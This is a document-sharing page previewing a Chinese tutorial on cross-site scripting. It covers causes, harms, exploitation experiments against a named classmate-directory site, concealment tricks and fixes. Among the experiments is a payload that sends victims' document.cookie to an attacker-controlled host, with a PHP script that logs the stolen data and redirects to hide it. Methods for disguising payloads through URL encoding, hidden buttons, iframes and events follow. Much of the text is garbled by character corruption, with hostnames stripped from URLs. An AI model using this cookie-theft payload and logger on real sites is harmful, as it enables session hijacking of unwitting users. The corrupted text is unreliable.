跨站腳本執(zhí)行漏洞詳解_第1頁
跨站腳本執(zhí)行漏洞詳解_第2頁
跨站腳本執(zhí)行漏洞詳解_第3頁
跨站腳本執(zhí)行漏洞詳解_第4頁
跨站腳本執(zhí)行漏洞詳解_第5頁
已閱讀5頁,還剩1頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

1、跨站腳本執(zhí)行漏洞詳解本文主要介紹跨站腳本執(zhí)行漏洞的成因,形式,危害,利用方式,隱藏技巧, 解決方法和常見問題(FAQ)?!韭┒闯梢颉吭蚝芎唵危褪且驗镃GI程序沒有對用戶提交的變量中的HTML代碼進 行過濾或轉(zhuǎn)換?!韭┒葱问健窟@里所說的形式,實際上是指CGI輸入的形式,主要分為兩種:顯示輸入隱式輸入其中顯示輸入明確要求用戶輸入數(shù)據(jù),而隱式輸入則本來并不要求用戶輸入 數(shù)據(jù),但是用戶卻可以通過輸入數(shù)據(jù)來進行干涉。顯示輸入又可以分為兩種:輸入完成立刻輸出結(jié)果輸入完成先存儲在文本文件或數(shù)據(jù)庫中,然后再輸出結(jié)果注意:后者可能會讓你的網(wǎng)站面目全非?。海ǘ[式輸入除了一些正常的情況外,還可以利用服務器或C

2、GI程序處理錯 誤信息的方式來實施?!韭┒次:Α看蠹易铌P(guān)心的大概就要算這個問題了,下面列舉的可能并不全面,也不系統(tǒng), 但是我想應該是比較典型的吧。獲取其他用戶Cookie中的敏感數(shù)據(jù)屏蔽頁面特定信息偽造頁面信息拒絕服務攻擊突破外網(wǎng)內(nèi)網(wǎng)不同安全設置與其它漏洞結(jié)合,修改系統(tǒng)設置,查看系統(tǒng)文件,執(zhí)行系統(tǒng)命令等其它一般來說,上面的危害還經(jīng)常伴隨著頁面變形的情況。而所謂跨站腳本執(zhí)行 漏洞,也就是通過別人的網(wǎng)站達到攻擊的效果,也就是說,這種攻擊能在一定程 度上隱藏身份?!纠梅绞健肯旅嫖覀儗⑼ㄟ^具體例子來演示上面的各種危害,這樣應該更能說明問題, 而且更易于理解。為了條理更清晰一些,我們將針對每種危害做一

3、個實驗。為了做好這些實驗,我們需要一個抓包軟件,我使用的是Iris,當然你可以 選擇其它的軟件,比如NetXray什么的。至于具體的使用方法,請參考相關(guān)幫助 或手冊。另外,需要明白的一點就是:只要服務器返回用戶提交的信息,就可能存在 跨站腳本執(zhí)行漏洞。好的,一切就緒,我們開始做實驗?。?實驗一:獲取其他用戶Cookie中的敏感信息我們以國內(nèi)著名的同學錄站點為例來說明一下,請按照下面的步驟 進行:進入首頁 HYPERLINK / /輸入用戶名“”,提交,發(fā)現(xiàn)服務器返回信息中包含了用戶提交的 “”。分析抓包數(shù)據(jù),得到實際請求: HYPERLINK /txl/login/login.pl?usern

4、ame=%3ch1%3e&passwd=&ok.x=28&ok /txl/login/login.pl?username=&passwd=&ok.x=28&ok .y=6構(gòu)造一個提交,目標是能夠顯示用戶Cookie信息: HYPERLINK /txl/login/login.pl?username=%3cscript%3ealert(document.cookie /txl/login/login.pl?username=alert(document.cookie )&passwd=&ok.x=28&ok.y=6如果上面的請求獲得預期的效果,那么我們就可以嘗試下面的請求:/txl/login/

5、login.pl?username=window.open(http:/ /info.php?”%2Bdocument.cookie)&passwd=&ok.x=28&o k.y=6其中 HYPERLINK /info.php%e6%98%af%e4%bd%a0%e8%83%bd%e5%a4%9f%e6%8e%a7%e5%88%b6%e7%9a%84%e6%9f%90%e5%8f%b0%e4%b8%bb%e6%9c%ba%e4%b8%8a%e7%9a%84%e4%b8%80%e4%b8%aa%e8%84%9a /info.php是你能夠控制的某臺主機上的一個腳 本,功能是獲取查詢字符串的信息,

6、內(nèi)容如下:?php$info = getenv(QUERY_STRING);if ($info) $fp = fopen(info.txt,a);fwrite($fp,$info.n);fclose($fp);header(Location: HYPERLINK );注:“2B”為“+”的URL編碼,并且這里只能用“2B”,因為“+”將被作為 空格處理。后面的header語句則純粹是為了增加隱蔽性。如果上面的URL能夠正確運行的話,下一步就是誘使登陸的 用戶訪問該URL,而我們就可以獲取該用戶Cookie中的敏感信息。后面要做什么就由你決定吧!實驗二:屏蔽頁面特定信息我們?nèi)匀灰宰鳛槔?,下面?/p>

7、一個有問題的CGI程序: HYPERLINK /txl/liuyan/liuyanSql.pl /txl/liuyan/liuyanSql.pl該CGI程序接受用戶提供的三個變量,即nId, csId和cName,但是沒有對 用戶提交的cName變量進行任何檢查,而且該CGI程序把cName的值作為輸出 頁面的一部分,的用戶應該都比較清楚留言右下角有你的名字,對吧?既然有了上面的種種條件,我們可以不妨作出下面的結(jié)論:某個用戶可以“屏蔽”其兩次留言之間的所有留言!當然,我們說的“屏蔽”不是“刪除”,用戶的留言還是存在的,只不過由于 HTML的特性,我們無法從頁面看到,當然如果你喜歡查看源代碼的話

8、就沒有什 么用處了,但是除了我們這些研究CGI安全的人來說,有多少人有事沒事都看 HTML源代碼?由于種種原因,我在這里就不公布具體的細節(jié)了,大家知道原理就好了。注:仔細想想,我們不僅能屏蔽留言,還能匿名留言,Right?實驗三:偽造頁面信息如果你理解了上面那個實驗,這個實驗就沒有必要做了,基本原理相同,只 是實現(xiàn)起來稍微麻煩一點而已。實驗四:拒絕服務攻擊現(xiàn)在應該知道,我們在某種程度上可以控制存在跨站腳本執(zhí)行漏洞的服務器 的行為,既然這樣,我們就可以控制服務器進行某種消耗資源的動作。比如說運 行包含死循環(huán)或打開無窮多個窗口的JavaScript腳本等等。這樣訪問該URL的 用戶系統(tǒng)就可能因此速

9、度變慢甚至崩潰。同樣,我們也可能在其中嵌入一些腳本, 讓該服務器請求其它服務器上的資源,如果訪問的資源比較消耗資源,并且訪問 人數(shù)比較多的話,那么被訪問的服務器也可能被拒絕服務,而它則認為該拒絕服 務攻擊是由訪問它的服務器發(fā)起的,這樣就可以隱藏身份。實驗五:突破外網(wǎng)內(nèi)網(wǎng)不同安全設置這個應該很好理解吧,一般來說我們的瀏覽器對不同的區(qū)域設置了不同的安 全級別。舉例來說,對于Internet區(qū)域,可能你不允許JavaScript執(zhí)行,而在Intranet 區(qū)域,你就允許JavaScript執(zhí)行。一般來說,前者的安全級別都要高于后者。這 樣,一般情況下別人無法通過執(zhí)行惡意JavaScript腳本對你進

10、行攻擊,但是如果 與你處于相同內(nèi)網(wǎng)的服務器存在跨站腳本執(zhí)行漏洞,那么攻擊者就有機可乘了, 因為該服務器位于Intranet區(qū)域。實驗六:與其它漏洞結(jié)合,修改系統(tǒng)設置,查看系統(tǒng)文件,執(zhí)行系統(tǒng)命令等由于與瀏覽器相關(guān)的漏洞太多了,所以可與跨站腳本執(zhí)行漏洞一起結(jié)合的漏 洞也就顯得不少。我想這些問題大家都應該很清楚吧,前些時間的修改IE標題 漏洞,錯誤MIME類型執(zhí)行命令漏洞,還有多種多樣的蠕蟲,都是很好的例子。更多的例子請參考下列鏈接:Internet Explorer Pop-Up OBJECT Tag Bug HYPERLINK /archives/bugtraq/2002-01/0167.htm

11、l /archives/bugtraq/2002-01/0167.htmlInternet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability HYPERLINK /archives/bugtraq/2002-01/0058.html /archives/bugtraq/2002-01/0058.htmlMSIE6 can read local files HYPERLINK http:/www.xs4all.nl/jkuperus/bug.htm http:/www.xs4all.nl/jkuper

12、us/bug.htmMSIE may download and run progams automatically HYPERLINK /archives/bugtraq/2001-12/0143.html /archives/bugtraq/2001-12/0143.htmlFile extensions spoofable in MSIE download dialog HYPERLINK /archives/bugtraq/2001-11/0203.html /archives/bugtraq/2001-11/0203.htmlthe other IE cookie stealing b

13、ug (MS01-055) HYPERLINK /archives/bugtraq/2001-11/0106.html /archives/bugtraq/2001-11/0106.htmlMicrosoft Security Bulletin MS01-055 HYPERLINK /archives/bugtraq/2001-11/0048.html /archives/bugtraq/2001-11/0048.htmlSerious security Flaw in Microsoft Internet Explorer - Zone Spoofing HYPERLINK /archive

14、s/bugtraq/2001-10/0075.html /archives/bugtraq/2001-10/0075.htmlIncorrect MIME Header Can Cause IE to Execute E-mail Attachment HYPERLINK /cua/eml.html /cua/eml.html跨站腳本執(zhí)行漏洞在這里的角色就是隱藏真正攻擊者的身份。實驗七:其它其實這類問題和跨站腳本執(zhí)行漏洞沒有多大關(guān)系,但是在這里提一下還是很 有必要的。問題的實質(zhì)還是CGI程序沒有過濾用戶提交的數(shù)據(jù),然后進行了輸 出處理。舉個例子來說,支持SSI的服務器上的CGI程序輸出了用戶提

15、交的數(shù) 據(jù),無論該數(shù)據(jù)是采取何種方式輸入,都可能導致SSI指令的執(zhí)行。當然,這是 在服務端,而不是客戶端執(zhí)行。其實像ASP,PHP和Perl等CGI語言都可能導致這種問題。【隱藏技巧】出于時間的考慮,我在這里將主要講一下理論了,相信不是很難懂,如果實 在有問題,那么去找本書看吧。URL編碼比較一下: HYPERLINK /txl/login/login.pl?username=%3ch1%3e&passwd=&ok.x=28&ok /txl/login/login.pl?username=&passwd=&ok.x=28&ok .y=6 HYPERLINK /txl/login/login.p

16、l?username=%3C%68%31%3E&passwd= /txl/login/login.pl?username=%3C%68%31%3E&passwd= &ok.x=28&ok.y=6你覺得哪個更有隱蔽性?!隱藏在其它對象之下與直接給別人一個鏈接相比,你是否決定把該鏈接隱藏在按鈕以下更好些 呢?嵌入頁面中讓別人訪問一個地址(注意這里的地址不同于上面提到的URL),是不是又 要比讓別人按一個按鈕容易得多,借助于Iframe,你可以把這種攻擊變得更隱蔽。合理利用事件合理使用事件,在某些情況上可以繞過CGI程序?qū)斎氲南拗?,比如說前 些日子的SecurityFocus的跨站腳本執(zhí)行漏洞?!?/p>

17、注意事項】一般情況下直接進行類似alert(document.cookie)之類的攻擊 沒有什么問題,但是有時CGI程序?qū)τ脩舻妮斎脒M行了一些處理,比如說包含 在或”之內(nèi),這時我們就需要使用一些小技巧來繞過這些限制。如果你對HTML語言比較熟悉的話,繞過這些限制應該不成問題。【解決方法】要避免受到跨站腳本執(zhí)行漏洞的攻擊,需要程序員和用戶兩方面共同努力: 程序員:過濾或轉(zhuǎn)換用戶提交數(shù)據(jù)中的HTML代碼限制用戶提交數(shù)據(jù)的長度用戶:不要輕易訪問別人給你的鏈接禁止瀏覽器運行JavaScript和ActiveX代碼附:常見瀏覽器修改設置的位置為:Internet Explorer:工具-Internet選項-安全-Internet-自定義級別工具-Internet選項-安全-Intranet-自定義級別Opera:文件-快速參數(shù)-允許使用Java文件- 快速參數(shù)- 允許使用插件文件-快速參數(shù)-允許使用JavaScript【常見問題】Q:跨站腳本執(zhí)行漏洞在哪里存在?A:只要是CGI程序,只要允許用戶輸入,就可能存在跨站腳本執(zhí)行漏洞。Q:跨站腳本執(zhí)行漏洞是不是只能偷別人的Cookie?A:當然不是! HTML代碼能做的,跨站腳本執(zhí)行漏洞基本都能做?!靖戒洝肯旅媸且恍┛缯灸_本執(zhí)行漏洞的例子: HYPERLINK /exploites/exgb.txt /exploit

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論